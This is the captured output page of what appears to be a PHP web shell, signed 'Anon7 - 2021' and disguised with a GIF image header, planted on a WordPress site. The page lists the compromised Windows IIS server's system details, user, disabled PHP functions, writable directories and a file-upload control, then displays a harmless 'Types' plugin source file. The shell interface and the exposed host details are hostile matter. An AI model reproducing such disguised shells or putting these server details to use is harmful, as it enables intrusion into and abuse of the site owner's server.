GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/application/models/helper/create/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/application/models/helper/create/view.php
<?php

class Types_Helper_Create_View {

	/**
	 * Creates a View for a given post type
	 *
	 * @param $type
	 * @param bool|string $name Name for the View
	 *
	 * @return bool
	 * @since 2.0
	 */
	public function for_post( $type, $name = false ) {
		// check if Views is active
		if( ! class_exists( 'WPV_View' )
		    || ! method_exists( 'WPV_View', 'create' ) )
			return false;

		// create name if not set
		if( ! $name ) {
			$type_object = get_post_type_object( $type );
			$name = sprintf( __( 'View for %s', 'types' ), $type_object->labels->name );
		}

		$name = $this->validate_name( $name );

		$args = array(
			'view_settings' => array(
				'view-query-mode' => 'normal',
				'view_purpose'    => 'all',
				'post_type'       => array( $type )
			)
		);

		$view = WPV_View::create( $name, $args );
		return $view->id;
	}

	/**
	 * Will proof if given name is already in use.
	 * If so it adds an running number until name is available
	 *
	 * @param $name
	 * @param int $id | should not manually added
	 *
	 * @return string
	 * @since 2.0
	 */
	private function validate_name( $name, $id = 1 ) {
		$name_exists = get_page_by_title( html_entity_decode( $name ), OBJECT, 'view' );
		if( $name_exists !== null ) {
			$name = $id > 1 ? rtrim( rtrim( $name, $id - 1 ) ) : $name;
			return $this->validate_name( $name . ' ' . $id, $id + 1 );
		}

		return $name;
	}

}

Anon7 - 2021